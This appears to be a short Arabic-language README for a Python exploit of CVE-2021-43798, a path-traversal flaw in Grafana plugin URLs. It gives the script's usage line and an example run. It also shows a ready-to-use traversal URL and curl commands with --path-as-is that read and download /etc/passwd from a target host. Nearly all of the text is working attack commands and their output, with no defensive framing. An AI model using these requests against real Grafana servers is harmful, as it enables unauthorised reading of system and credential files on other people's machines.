
استغلال بلغة Python لـ CVE-2021-43798، ثغرة اجتياز المسار في Grafana تتيح قراءة ملفات عشوائية عبر اجتياز الدليل في عناوين URL الخاصة بالإضافات.
usage: grafana-exploit.py [-h] -H/--host HOST grafana-exploit.py: error: the following arguments are required: -H/--host
example: python3 grafana-exploit.py --host <target_host>
إذا تمت قراءة الملف التعسفي بنجاح اعرض عنوان URL الخاص بالطلب وأمر curl
[+]RequestURL
http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd
[+]curl_command
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd"
لذا إذا أردت تنزيل الملف، نفّذ الأمر كما هو موضح بالأعلى
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd" -o passwd